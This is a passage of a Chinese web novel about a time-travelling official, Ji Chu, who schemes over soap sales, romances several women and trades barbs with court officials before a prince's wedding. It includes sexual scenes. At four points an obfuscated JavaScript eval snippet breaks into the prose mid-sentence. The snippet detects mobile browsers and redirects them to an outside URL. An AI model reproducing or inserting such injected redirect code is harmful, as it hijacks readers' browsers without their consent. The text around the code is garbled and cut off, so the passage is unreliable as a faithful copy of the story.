季褚抓住对方把柄,语气中带着几分调侃,“还不都怪夫人太妖娆,让人情难自禁,不过你刚才那一嗓子,确实给我吓到了,真没想到,夫人还有这样的一面。” “你这冤家,就知道取笑人。”朱玉润文言,脸更红了,有气无力的锤了季褚一下,“人走了……” “哦,那我与夫人说说正事……” “人走了……” “走就走呗?” “你这坏人……我看你就是诚心折磨妾身来了。” 朱玉润一边说,一边推他,季褚后知后觉呵呵笑了起来,“夫……” “叫我玉润。” “好,老朱莫急,先前我和与你制造香皂的法子,制作出来了没有?” “我已经安排管事去操持,但若想大柜批量制造,难,油脂不好收购,昨儿个也不过制作了百十块,但是效果并不好,香味少,腥味儿大,应是香料的问题。” 季褚微微皱眉,也突然意识到自己有点想当然了。 上一世自己开直播,做香皂,用的都是拼刀刀买的现成香油,一滴就能令一整屋飘香一周,所以轻轻松松就能做出香皂。 可如今,香料,尤其是花香,基本上都是花瓣磨成粉, 晒干后香味本来就会大幅度流失,何况眼下用的还是腥味大的猪板油。 “太子大婚就是个打开市场的好契机,我打算找你订购一批香皂,作为伴手礼送给参加演戏的各王公大臣,所以我不管你用什么办法,大婚当日至少做出两千块成品。” 闻言,朱玉润直接懵了。 宋家好歹也是老牌勋贵,虽然如今已经没了权利,但名下有不少铺子,消息还是很灵通的。 朱玉润自然清楚季褚现在负责太子大婚事宜,更清楚下午城里就传开的招商打广告。 如此明目张胆的左右倒右手,真的好吗? “伯赢,这……不妥吧?我还打算去那劳什子招商办,买个广告名额……” “做事要灵活嘛,咱们得产品拥有唯一性,自然就得给予特殊的优待。 而且香皂主打高端市场,有价无市,别人想买还买不到呢,这笔钱花得不冤。”季褚无所谓道。 宋家可是他选中的白手套,花钱打广告那不成了左手倒右手,还得被梁皇扒一次皮么。 况且,买香皂的钱可是从梁皇那一千万两预估里出的,他不赚,也得便宜了梁皇。 “那定价多少?” “皇家御赐之物,肯定不能便宜,弄些好看的盒子装上,就定六百六十六两,取六六大顺之意。” 此言一出,顿时惊的朱玉润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254588|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身一紧。 一块香皂成本不足一两,再精美的盒子,也不过五两,先前季褚说打造高端,起步就卖一百两,她就已经很震撼了。 没想到……他的心如此黑。 不过,她好喜欢…… 感受到对方的反馈,季褚顿时坏坏一笑。 “重赏之下必有勇夫,不要舍不得钱。” “嗯嗯嗯……玉润知晓。” 转眼,半个时辰过去了。 朱玉润换来春儿打水,顺便取来今天做好的香皂。 “让春儿伺候你沐浴,我去厨房看看,用了晚膳再回去。”朱玉润整理好衣服,便给了春儿一个眼神,出门去了厨房。 “大人,水温调试好了,且随我来。” “有劳春儿了。” 季褚叹了口气,对于朱玉润的好意,他自然没有拒绝的道理,而且老a8终究还是不如新的,开久了就得歇歇。 不多时,春儿便引着季褚来到了后面的浴房。 三两下便只剩了一件红肚兜,慢慢迈入水桶,渐渐被水湿透,展现出了惊心动魄的弧度。 春儿耳根发烫,抬起玉手捧着水便帮季褚清洗。 长长的睫毛,微微下垂,就好似两把扇子。 季褚缓缓闭上眼,任由对方帮自己洗澡。 温软的触感,透过薄薄的肚兜,时不时碰到自己身上,嗅着她身上那股好闻的桃花香,简直要多享受就有多享受。 “大人,可要试试香皂?” 季褚泡在水里,舒服的都快睡着了,闻言,把眼睁开,就见不知何时,春儿的红肚兜早已经飘到了池子中央。 而他手里,正拿着一块通体泛黄,散发着一丝橘子气的香皂。 “这是?” “这里面加了陈皮,也就只有这一种,没有太大的膻味,而且泡沫也很均匀。” 季褚接过香皂闻了闻,味道确实不错,上下打量了春儿一眼,一个大胆的想法瞬间浮现,笑着将香皂交给了对方,而后迎着对方呆萌的表情将人拉上了岸。 得知了季褚想法后,春儿一张脸红的几乎可以滴出血来,慢慢将肥皂打满了全身…… 第94章 三折叠,那是怎么折,怎么有面 “大人,是这样吗?” “嗯,不错……继续。” 另外一边。 朱玉润端坐上首,看着面前不成器的儿子,可谓是满面寒霜,“孽障,你可知,你差点坏了娘的好事?” 好事? 宋辉心里咯噔一下,满脸都是错愕,“母亲,你不会真的耐不住寂寞和那马夫……” “住口!”朱玉润心头一紧,当即拍案打断,桌上茶盏轻震,恰好掩去她心底那一丝慌乱。 不待儿子开口,她脸色一沉,端起主母威仪,厉声呵斥:“你可知你在胡说八道什么? 我说的好事,自然是我宋府崛起的契机。 为娘早前便与你说过,我与季大人做了一笔交易,这才将运到长葛的粮食悉数送上。 事实摆在眼前,别家亏得血本无归,唯独我宋家上了季大人的船,非但未损分毫,反倒净赚几十万两。 这还只是开始,季大人给为娘的秘方,足以让我宋家从此立足不倒,富贵绵长。 我警告你,往后不许再对季大人有半分不敬,你既已与公主和离,如今便只是一介白身,日后见了季大人,当以长辈之礼恭敬相待!” 宋辉瞳孔一缩,当场炸毛,“什么,您让我以长辈之礼敬那**的马夫?” “放肆!”朱玉润脸色一冷,语气中充满了恨铁不成钢,“你告诉娘,什么叫**的马夫? 如今人家是太子少保,礼部侍郎,是陛下亲封朝廷命官。 钦天监监正如何,堂堂一品,被他几句话夷族。 左春左大人又如何,满朝文武谁人敢惹,可昨晚愣是被人堵着门泼那腌臜之物。 他们都惹不起的存在,你有几个脑袋敢惹? 宋辉,记住娘今天的这句话,你若再敢口无遮拦,休怪娘家法伺候!” 来自血脉的压制,令宋辉胸口剧烈起伏,一张脸红了白,白了青。 他攥紧了拳头,指甲几乎嵌进掌心,眼底翻涌着**与愤怒,可对上母亲冰冷威严的眼神,到了嘴边的脏话又硬生生咽了回去。 他太清楚自家母亲的性子了,看似温柔似水,慈母一位。 可一旦动了真怒,做事根本不会留情面。 若无雷霆手段,也不可能守住宋府基业。 “娘……”宋辉嗫嚅了两下,带着几分憋屈,“我不是不敬他,我就是……就是咽不下这口气。 他以前就是我身边一条狗,现在让我对他恭恭敬敬,还以长辈之礼相待,儿子实在做不到!” “做不到也得做!” 朱玉润语气不容半分反驳,“世道早变了,你以为你还是那个风光无限的驸马爷? 从你和公主和离的那一刻,你就什么都不是了! 若非季褚,咱们宋家早就在长葛就已经赔得倾家荡产,你现在还有机会喝酒享乐,养着一群女子供你取乐?” 她的话就好似一把咸盐,精准撒在了宋辉心里最疼的地方。 朱玉润虽然有些恨铁不成钢,可眼前终究是自己一把屎一把尿拉扯大的儿子。 她端起茶浅浅的嘬一口,叹了口气,道:“耀祖,是娘没教好你你们啊。没让你们看清人情世故,更没让你们学会审时度势。 娘不怪你擅作主张与公主和离,但此事你必须听娘的。 你妹子那边是指不上了,现在我们只能靠着季大人,否则的话,不管将来谁即位,咱们宋府都没好果子吃,满门倾覆就在眼前。” 宋辉闻言,彻底沉默了。 因为他清楚,母亲说的是实话。 半晌,才咬着牙,撑着最后一丝体面起身,“母亲,儿知道了,但若让我以长辈之礼对他,儿做不到。” 说完,转身就走,可那眼神也变的更阴鸷了。 朱玉润看着好大儿决绝又落寞的背影,又气又无奈,缓缓抬手,抚上自己尚且平坦的小腹,眼底泛起一层细碎的泪光,声音轻得像一声叹息,“耀祖啊耀祖,娘何尝不知你的委屈? 可如今是大争之世,娘不能让宋家毁在这一代,不能让你们姐弟兄妹,将来寄人篱下,任人欺凌。 但愿你以后会理解娘吧!” 朱玉润掏出帕子擦了擦眼角,“宋管家!” “老奴在,夫人何事?” “派人看紧了大公子,他要什么尽可能的满足,但一定不要让他惹事。”朱玉润已经恢复了人前的威严,“另外你亲自去庄子上盯着,香皂之事绝不能出半点差错。不惜一切代价,太子大婚当日,至少做出两千块香皂。 我宋府能不能翻身,就看它了。” “老奴明白。” “下去吧!” 打发走送管家,朱玉润起身去了后院。 …… 公主府。 华灯初上,府内的下人各司其职,往来穿梭,井然有序。 季褚刚踏入府门,姬坤便快步迎了上来帮忙牵马,神色恭敬道,“大人,您可算回来了。” “嗯,招商一事办的不顺利?”季褚好奇道。 “顺利!”姬坤躬身赔笑:“下午太子妃殿下那边,特意遣人过来递话,说是大婚在即,诸多仪制,流程,宫中规矩还不甚明了,想请大人明日过府一趟,当面请教一二。” 季褚眼皮跳了跳,这女人,坐不住了啊! “知道了,明日下了朝会我就过去,对了那位贵人呢?” “下午便离开了。” 季褚点点头,时间紧,任务重,用剩下五天时间,确实得好好沟通一下,毕竟明天起,他就得常驻内教坊司抓紧培训。 至于外面,有姬坤他们,真有事,也能传信进宫通知自己。 “知道了,没什么事儿你就下去吧!” “喏,那小的便不打扰您休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255362|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息了!” 季褚满意的点点头,快步回了自己的小院。 此刻三位小娘子正围坐在一张圆桌旁,眉眼间各有风情,说说笑笑,气氛十分融洽。 看到这一幕,季褚心里得劲儿坏了。 竹儿匆忙起身,“伯赢,今日奔波一天,快点坐下喝点茶,润润喉咙。” “我去打水,一会儿好好洗洗。” 怜香说着也要起身,赵子衿却抢先一步,“我力气大,还是我去吧!” 季褚一手一个,拉着二人坐回了椅子,随即接过茶水,也坐到了三人身边,一边喝茶,一边用眼神在三女脸上打转。 心里琢磨如何把昨天未尽之事落到实处。 “三位娘子,你们是不知道啊,为夫一边要筹备太子大婚,还要应付各种人情往来,一天下来可谓是身心俱疲。”季褚浅啜一口热茶,语气里带着几分恰到好处的疲惫,却又藏着一丝温柔,“但我一想到三位娘子,就一点都不累了。 可我如今职责在身,白天根本没时间陪你们,晚上倒是有时间,但我也只有一个,实在是分身乏术。 陪了香儿,又怕冷落了竹儿和子衿,让你们独守空房 赔了竹儿,又不忍香儿和子衿长夜漫漫,孤枕难眠。 为夫真恨不能一分为三,也不至于冷落了三位佳人。” 见三女没有半点反应,季褚脸不红心不跳,长长叹了口气,“哎,你们说这该如何是好啊!” 怜香本就多愁善感,轻轻握住了季褚的手,眼神说不尽的柔软,“季郎,你说过,两情若是长久时,又岂在朝朝暮暮。 我什么都帮不上你,却反倒还要让你这般惦记为难,你让香儿以后如何自处。” 赵子衿更是敢爱敢恨,直接抓住了季褚另外一只手,“伯赢,不必这般为难,只要你心里有我们就够了,你能平平安安,便是我等福气。” 竹儿愣愣的在旁看着,想伸手,却发现季褚手长少了。 但很快她便缓过神来,忍不住翻了个白眼。 要说三人当中,心思最是玲珑的还得是竹儿,她可太了解季褚的为人了。 “既然为难,不如一起?”竹儿道。 季褚心头一喜,还得是竹儿,懂事儿! “这,不合适吧?” 竹儿撇撇嘴,正准备说他两句,怜香出身花楼,反而放的很开,“我没意见。” 赵子衿江湖儿女倒也不觉得有什么,只是一张俏脸红到了耳根,“我,我也没意见。” 竹儿:哈?你们听不出这是反话? 季褚强压嘴角笑意,这把,稳了! 见季褚朝着自己看来,竹儿登时闹了一个大红脸,嘟囔道:“我敢有意见吗?你万一打我屁股怎么办?” 季褚嘿嘿一笑,拉起三人便进了屋。 桀桀桀……三折叠,那是怎么折,怎么有面。 第95章 你看你,又急 夜,渐渐深了。 看着三女熟睡,季褚轻手轻脚的穿鞋下床。 赵子衿习武之人相当敏感,立马睁眼,拿起衣服遮在了胸前,“伯赢?” 季褚笑笑,“你睡你的,感觉丹田之内的气快要冲爆了,我出去试试能不能多挥出几刀。” 说完,拿上刀便出了门。 季褚站在院子里,深吸口气,默默调动那股气劲汇聚刀神,随即一刀斩破苍穹朝着院里的石桌斩去。 没有半点金石交鸣,就跟切在了豆腐上一样,厚厚的石桌直接一分为二。 可季褚的眉头却紧紧皱起来。 因为今个相当于充了五回气儿,丹田都快撑爆了,结果一刀下去,还是厉害那一下,丹田便被清空,再斩第二刀疲惫感已经袭来。 “娘的,看来咱还真不适合吃这碗饭,不过有这一下,出其不意,也足够自保了。” 季褚叹了口气,要不说啥呢,拖着疲惫身子回了房间。 “如何?” 季褚伸手把赵子衿揽入怀中,“别提了还那样。” “看来夫君还是不适合习武,不过夫君放心,子衿一定想办法找一本适合你的秘籍。” 说着,赵子衿已经展现出了什么叫出色的主观能动性。 “嘿嘿……子衿现在教的就很适合。” 赵子衿嗔怪的凑到季褚耳边,“夫君,正好两位姐姐都睡了,我和你汇报一下难民里挑选合适的孩子,今天我城里城外跑了……” “此事你自己看着办,钱大胆的花,这是咱们家以后的依仗,子衿把最宝贵的东西给了我,我自然完全信任子衿。”季褚轻轻在对方脸上嘬了一口,“现在为夫进入了虚弱期,只能靠子衿了。” “那我们要不要收拢一批妙龄女子呢?以夫君的能力,想必用不了多久,就能培养出一批忠心可靠的高手。” 季褚:…… “赵子衿,你把为夫当成了什么?!我看我真该好好收拾你一顿了。” …… 翌日。 朝会。 “有事起奏,无事退朝。” 大太监话音刚落,班中立刻有人出列。 正是左春。 他手持护板,面色沉冷,“圣人,臣有本要奏。” 梁皇一看是他,便是一阵头疼,“讲!” 左春目光如刀,直直看向了季褚,“臣**太子少保,礼部侍郎季褚! 此人借太子大婚之名,私设名目,广敛钱财,强索供奉,闹得京中官员商贾人人自危。 此举于情不合,于礼不合,败坏朝纲,亵渎大婚盛典,请圣人严惩,以正视听!” 一言既出,满殿寂静。 梁皇眉头微蹙,他就知道,他就知道,这帮人就见不得他手头宽裕些。 “季爱卿,左大人所奏,是否属实?” 话音落,不少官员悄悄侧目,看向季褚,眼神各异。 季褚借着太子大婚大肆招商敛财,大家也都听说了,全都一副看好戏的样子,等着看他如何收场。 崔亮眼观鼻,鼻观心,就跟没听到一样。 礼部尚书同样阴沉一张臭脸,此等大事,季褚竟然没有和他沟通,简直岂有此理。 季褚神色从容,缓步出班,对着御座一揖,语气平静,“回圣人,不实。” 左春顿时气的吹胡子瞪眼,指着季褚厉声呵道:“季褚,你竟敢在圣上面前撒谎! 你借太子大婚招商敛财之事,早已传遍京城,街头巷尾无人不知,出去一打听便知真假,你还敢狡辩?!” “你看你,又急!”季褚无奈道:“看来左大人回去还是没有好好反思啊! 回圣人,所谓敛财之事子虚乌有。 臣奉旨筹办大婚,一应开销浩大,臣所行,不过是愿者贺喜,自愿襄助大典,从未强征半分,勒索一家。 所收银两,也会一笔一笔记在账上,专用于仪仗,宴席,宫灯,礼乐,专款专用。” 左春一听,当场炸了,“圣人,他到现在还敢狡辩,臣都已经打听清楚了。 大婚当日他要沿途挂满横幅,横幅明码标价! 就连夜间挂的灯笼,他也不放过,照样标价! 还有太子与太子妃的合卺酒,他都开出百万起步的价码! 这不是敛财是什么?! 圣人,历朝历代,可曾有哪位太子大婚,荒唐到这般地步? 简直于礼不合,不成体统,请圣人降旨,严惩此等奸佞!” 自家府邸被人泼粪,门楣蒙羞,他忍了。 亲传弟子被陛下下旨严斥,前途尽毁,他也忍了。 当着满朝文武的面被驳得体无完肤,颜面扫地,他依旧忍了。 因为在他老左心里,你季褚手段是狠,性子是毒,可做事尚有底线,和咱一样都是讲道义,守风骨的君子。 可你转头就将咱老左的敬重,踩得稀碎啊。 借着太子大婚明码标价大肆敛财,吃相之难看,行事之市侩,生生把他左春的信任,按在地上狠狠践踏! 这一回,他必须擦亮眼睛,拼上这身官袍,这条老命,也要与这等奸佞罪恶,抗争到底! 让他这一控诉,大殿之中文武百官神色各异,也都议论纷纷起来。 尤其是几位守旧的老臣,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260829|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二个全都面色凝重。 礼部尚书率先出列半步,“大婚沿途横幅,灯笼皆明码标价,合卺酒更是开出百万高价,此举确实太过张扬,不合古制礼仪,恐遭世人非议。” “敢问尚书大人,何为礼?” 礼部尚书一怔,“尊卑有别,上下有序,自然是礼!” “既知尊卑有序,那太子大婚,乃是国之大典。天下臣民自愿献礼,以表忠心恭贺,何错之有? 礼,本来就是人定的,可礼又是谁定的? 没定之前,古人遵循什么?还请尚书大人教我!” 礼部尚书脸色涨得通红,当即怒喝:“强词夺理! 礼乃古圣先贤所立,代代相传,岂是你随口曲解,肆意践踏的? 你将大婚仪仗,灯笼,横幅明码标价,将合卺酒待价而沽,把皇家盛典当成市井买卖,这叫遵礼? 简直是以利乱礼,以商亵尊,滑天下之大稽!” 季褚神色一正,从容回击:“大人只知守旧礼,却不知济时用。 国库开支有限,大典耗费浩繁,下官不耗国库,不扰百姓,凭自愿二字聚财办事,将大典办得隆重体面,上安圣心,下顺舆情。 若这也叫乱礼? 那请问大人,是空有礼仪架子,大典寒酸不堪为礼, 还是上下同心,盛典辉煌为礼?” 两人针锋相对,殿内气氛一触即发。 梁皇见状,轻轻一拍扶手,开口打圆场,语气不怒自威:“够了。 季褚所为,朕心里有数。 一不曾强征,二凭自愿,所筹银两悉数用于大典,初衷也是为了朝廷体面。 至于礼仪规制,可斟酌调整,不必一棍子打死。 此事到此为止,不必再争。” 这话一出,大殿之上顿时安静下来,天子既已表态,便是定了调子,还说啥,还能说啥? 礼部尚书脸色一阵青一阵白,满心不甘,却不敢违逆圣意,只能躬身行礼,语气带着几分憋屈,“臣……遵旨。” 左春急得直跺脚,往前半步还想再争,却被崔亮笑着拽了下衣袖,“老大人,消停消停吧!” 季褚见无人搭话,也赶紧表态道:“臣谢陛下明察。臣定当不负陛下所托,将太子大婚筹备得妥妥当当,既保皇家体面,也不负天下臣民的心意,绝不让陛下失望。” “既然此事已定,便不要再纠缠。还有本奏者,速速奏来,无本者,退朝!” “臣工部……” …… 一场早朝足足开了两个时辰。 季褚出宫,上了自己马车,吩咐道:“去靖北侯府!” 第96章 这师父,简直一点不稳健,她要当高小凤 靖北侯府。 季褚跟着凤倾城的大丫鬟蒹葭,一路来到侯府校场门前。 蒹葭侧身一礼,恭敬道:“季大人,请,小姐就在里面。” 院门轻轻推开,季褚的眼睛瞬间就被场中那道身影死死锁住。 凤倾城正跨坐在一匹神骏如火的胭脂宝马上,手持银枪,纵马冲杀,枪尖屡屡精准点中木靶。 她一身雪色轻铠,甲片贴身利落,将本就高挑挺拔的身段衬得愈发的腰细腿长。肩线利落如削,腰肢收得极细,长腿笔直夹在马腹之上,光是一个骑乘姿态,就老英气逼人,就老艳压全场了。 银甲映着日光,冷白生辉, 长发半束而起,几缕碎发被风拂过颊边。 回眸间,沙场武将的凛冽姿态尽显,偏偏那张脸明艳夺目,眉眼锋利如画,英气里裹着惊心动魄的艳色。 一抬眉,一纵马,都美得极具冲击力。 季褚下意识咽了口唾沫,好一匹烈马,若是降服……自己岂不是也能拥有一匹神驹? 原主这几年的马夫可不是白当的,马好不好,一眼便知。 凤倾城勒马回身,手腕轻抖,缰绳骤然一收。 那匹胭脂神骏通灵至极,人马气息瞬间合一,长嘶一声,人立而起,前蹄凌空扬出带着劲风,堪堪停在季褚面前不足两米,稳得纹丝不动。 这般英姿飒爽,不愧是将门虎女,嗯?还是匹母马! 凤倾城身姿如枪,腰背笔直,雪铠映光,长腿稳稳夹着马腹,一身英气扑面而来,随手将枪尾往地上重重一顿,枪尖嗡鸣,震得尘土微扬。 她居高临下,眉眼锋利,明艳的眸子微垂,高傲姿态尽显,“呦,这不是我那宝贝徒弟么,今个怎得有空来看望为师了?” 季褚也是一阵无语,这都快要大婚,入主东宫做太子妃的人了,别人都在描眉理妆,**练礼仪,偏这位还在校场里披甲舞枪,纵马冲杀…… 怎么看,都不太像个待嫁新娘。 这师父,简直一点都不稳健! 季褚拱手行礼,礼数周到,语气中又不免带了几分熟稔,“见过师父!父传唤,弟子自然片刻不敢耽搁,这不,下了朝就立刻便赶来了。” “算你识相。”凤倾城翻身下马,迈步走向了一旁的房间。 季褚和蒹葭紧随其后,不过到了门口,蒹葭却直接将人拦在了外面。 季褚:??? “小姐要卸甲!”蒹葭没好气的提醒了一句。 “多大点事儿,我汇报完就走,还有好多事需要我去处理呢!” 蒹葭还想说什么,就听凤倾城道:“让他进来吧!” 二人入内。 蒹葭立刻抬过屏风挡在中间,将内外视线隔绝。 凤倾城随手张开双臂,卸下戎装。 纱帘屏风朦胧如烟,虽看不真切,可甲胄卸下时,那凹凸玲珑,曲线曼妙的身影在帘后若隐若现,反倒更引人遐思。 “那件事办的如何?” 季褚上前一步,沉声道:“幸不辱命,大婚当日一切事宜皆有我统筹,必保万无一失。 只是……还有些事,需与师父私下密谈。。” “就在这里说吧,蒹葭自幼与我一同长大,乃我最亲近之人。” “那我可就有一说一了。 太子想让师父怀上龙嗣。” 凤倾城发出一阵惊咦:“他不是已经废了吗?治好了,还是借种?” “咳咳,是不太中用,但也不是一点没用。”季褚斟酌了一下措辞,“有人为太子发明了一项工具,届时取出龙精,利用那工具注入师父体内,也是有几率孕上龙嗣的。 就是不知道师父现在是个什么想法。 看那架势,太子势在必得,如果师父怀不上也没关系,他应该会继续纳妃,所以师父若想保持清白之身,也不是不能操作。” 这可是个高手,季褚自然得把话提前挑明。 况且还有师徒这层名分在,人家也确实帮过自己,太子又不可能只有一个太子妃,他想生孩子,完全可以找别人,只要凤倾城不愿意,季褚倒是不介意帮她一帮。 哪成想凤倾城的话,直接令季褚呆麻了。 “做得不错,你有几成把握?” “不是,你还真想怀啊?” 凤倾城心里一阵烦躁,这是她想不想的问题吗? 一脚入了东宫,就等于上了战场,不拼命往前冲,不牢牢占据位置,攥住底气,到头来只有一个下场——万劫不复。 历朝历代,废后废太子妃,就跟废太子一样,哪个能落下好下场? “徒儿,又何必问出这样的蠢话。”凤倾城叹了口气,“皇家不似普通家族,没有子嗣,我这个太子妃便是空中楼阁,他日父皇厌弃,太子变心,若起了废妃的心思,皇家率先铲除的就是我靖北侯府。 侯府上下三百余口性命,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260830|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆系吾身……” 顿了顿,凤倾城自己都没察觉出声音里的酸涩,“我凤倾城一生驰骋沙场杀敌无数,在战场上能做横扫千军的将军,进了这深宫,一样能一路杀上去,坐到最高的那个位置。” 季褚心里窝了一把大草。 你丫这是要当高小凤啊! 这不是难为他小季么。 就太子那点量,他还真不保证能让嫔妃们怀上,甚至已经做好了最坏打算,实在不行,自己就冒险顶上,夹带点私货进去,起码让别的嫔妃先怀上再说。 至于太子妃为啥始终怀不上,怀不上就是怀不上,你太子爷也不能让人硬怀不是。 可现在…… 都是熟人,还有那层关系…… “季褚,这件事,我只能托付你。他日我若登顶,必不负你。” “喏!”季褚硬着头皮应下,“要是没什么事,我就先回去了。” “去吧,我信你,等有机会了,师父再传你两招厉害的。” “谢谢师父!” 季褚匆匆告辞离去,一路思绪翻涌。 亏他还自作聪明,以为凤倾城软硬兼施,逼他把大婚大权揽在手中,是怕怀上皇嗣,将来被捆在东宫,难以脱身出宫。 合着闹半天,自己想岔劈了啊! 人打一开始,就压根儿没打算离开,而是奔着后位去的。 “罢了,走一步看一步吧,车到山前必有路。” 事已至此,多想无益,只能到时随机应变。 季褚顺道回了一趟公主府,视察了一下太子大婚招商办的运行情况,确认无误,然后又去了一趟外教坊。 此前长葛文艺汇演脱颖而出的十大参赛队伍,这几日便暂居此处,如今诸事齐备,接下来要参与太子婚宴编排,在待在这里已经不合适了。 季褚一声令下,把所有人打包一并带进了内教坊,也就是传说中的大梁皇家教坊司。 当然了,为了安全起见,季褚特意将刘公公请了过来,好好的查一查这帮人。 毕竟大喜的日子,万一混入刺客,可不是啥好事儿。 身为穿越者,要想好好在这波诡云谲的古代活下去,甩锅这一块必须得拿捏死,查不到最好,即便出了事儿,那也和他没关系不是。 季褚这边有条不紊的检查,排练。 庄子那边。 三皇子李智一身农家布衣,满脸疲惫地回到住处。 第97章 你是想把本王和母后,一起给雕进去 管家兼智囊,孙大聪明早已在屋内等候多时。 一见主子回来,立刻快步上前,深深弯腰行礼,小心翼翼的讨好,“王爷,您受苦了。” 人教人教不会,事儿教人一遍就会。 上次事儿,李智对孙诩可谓是相当不满,也终于令孙诩明白了自家这位爷的凉薄。 可自己选的路,怪不得别人,他这会儿自然不敢再端着以前的架子。 李智连个眼神都懒得给他,冷哼一声,一屁股坐在椅子上,孙诩见状,赶忙拿起茶壶,恭恭敬敬斟茶。 李智斜睨他一眼,冷嘲热讽道:“辛苦?本王这一身狼狈,是谁害的?长葛那盘棋,被你说得万无一失,结果呢? 差点把本王都搭进去! 你但凡有季褚一半本事,本王又何至于落到这步田地?” 李智是越说越来气,孙诩是越听头越低,脑门上汗水淌落,却半个字不敢辩解,只是指甲已经死死的掐住了大腿。 骂了几句,李智也觉得索然无味,端起凉茶狠狠灌了一大口,沉声道,“说吧,皇城那边有什么消息?” 孙诩擦了擦额头上的冷汗,低声回禀:“回王爷,今日早朝,左大人当朝**季褚借太子大婚敛财,但结果不尽人意,崔大人想声援却被陛下一言压下。” 闻言,李智的脸色骤然一沉,将茶杯重重顿在案上,“一群废物! 朕的父皇,如今为了几个银子,连皇家脸面都不要了,季褚那样荒唐敛财,他也能睁一只眼闭一只眼?” 孙诩缩了缩脖子,那是大气不敢出啊,只能静静等他发泄完。 等李智气息稍平,孙诩才压低声音继续说道:“王爷,这也未必就是坏事。 如今他已入宫,对咱们而言,倒是个千载难逢的好机会。” 李智嗤笑一声,眼神里满是鄙夷,“机会?又是机会?上回你也说机会大好,结果呢? 本王差点倾家荡产,手下也**一大半,一大半啊! 孙诩,孙爱卿,你可知养那些死士需要多久多?” 孙诩扑通一下跪在了地上,急声道;“殿下,上次那完全就是意外,一来季褚太过狡猾,二来也是我太小看了对方。 但这次截然不同,他入了宫,皇宫之内,才是咱们的主场!” 说着,他膝跪上前,抬着头一脸阴恻恻的说道:“殿下可请皇后娘娘暗中出手安排。 您想想……若是陛下的嫔妃,与季褚在宫里发生点什么不清不楚的事,再让陛下撞破…… 到那时,陛下龙颜大怒,季褚还能有命在?季褚又是谁的人?倒是必然是一箭双雕。” 闻言,李智顿时眯起了眼睛,眼底寒光一点点渗出来,手指无意的叩在桌案上。 孙诩一喜,还以为李智动了心,连忙道:“殿下尽管放心。皇后娘娘统摄后宫数年,上至妃嫔主位,下至宫女内侍,大半都捏在娘娘手心里。 谁有把柄,谁有家眷,谁敢不听话,娘娘心里一清二楚。 这宫里,只要娘娘开口,有的是人愿意拿身家性命,替殿下把这事儿办了。” “呵呵,呵呵呵呵……” 李智忽然低笑起来,笑声又干又冷,尤其是那双眼,像刀锋刮过骨头,死死定格在孙诩身上,“本王问你,事成之后,真正得益的是谁? 季褚死,东宫受牵连,倒是打得一手好算盘。 可你别忘了,后宫闹出这等滔天丑闻,第一个要被问责,被天下人非议的,便是执掌六宫的母后!” 他语气渐冷,居高临下的俯视着孙诩,脸上戾气翻涌,“一箭双雕? 哼,本王看,你是想连本王的母后,也一起给雕进去! 让我母子二人自断根基!” 孙诩陡然打了一寒颤,吓的魂儿差点飞出来,连忙砰砰磕头,“殿下,饶命! 臣万万不敢,万万没有这个心思啊! 臣对殿下一片忠心,日月可鉴,怎么敢断殿下的根基……绝没有半分要牵连皇后娘娘,要害殿下母子的心思!” 这回孙诩是真慌了。 因为三皇子竟然带脑子了。 而且自己也确实没把皇后算进去。 他一边磕头求饶,一边快速思索解决对策。 要么说人是被逼出来的呢,电光火石间,孙诩已经捋清楚了一切,“殿下……您冤枉死臣了! 此事,根本用不着皇后娘娘亲自出手。 非但不会连累娘娘,一旦做成,还能顺手替娘娘清扫后宫劲敌,让娘娘的中宫之位,再无人能撼动!” 李智阴鸷的眼睛微微一眯,透出几分玩味的冷光,“哦?说来听听。” “殿下明鉴,娘娘如今在后宫最大的对手,便是马贵妃,孙淑妃,还有那最得宠的虞美人。 可这马贵妃与孙淑妃,心底最恨的并非娘娘,而是虞美人啊! 那虞美人入宫时日最短,家世根基最浅,却偏偏独占皇恩,陛下几乎日日将她带在身边,把马孙二位娘娘晾在一旁,她们心中早已积满了怨气。 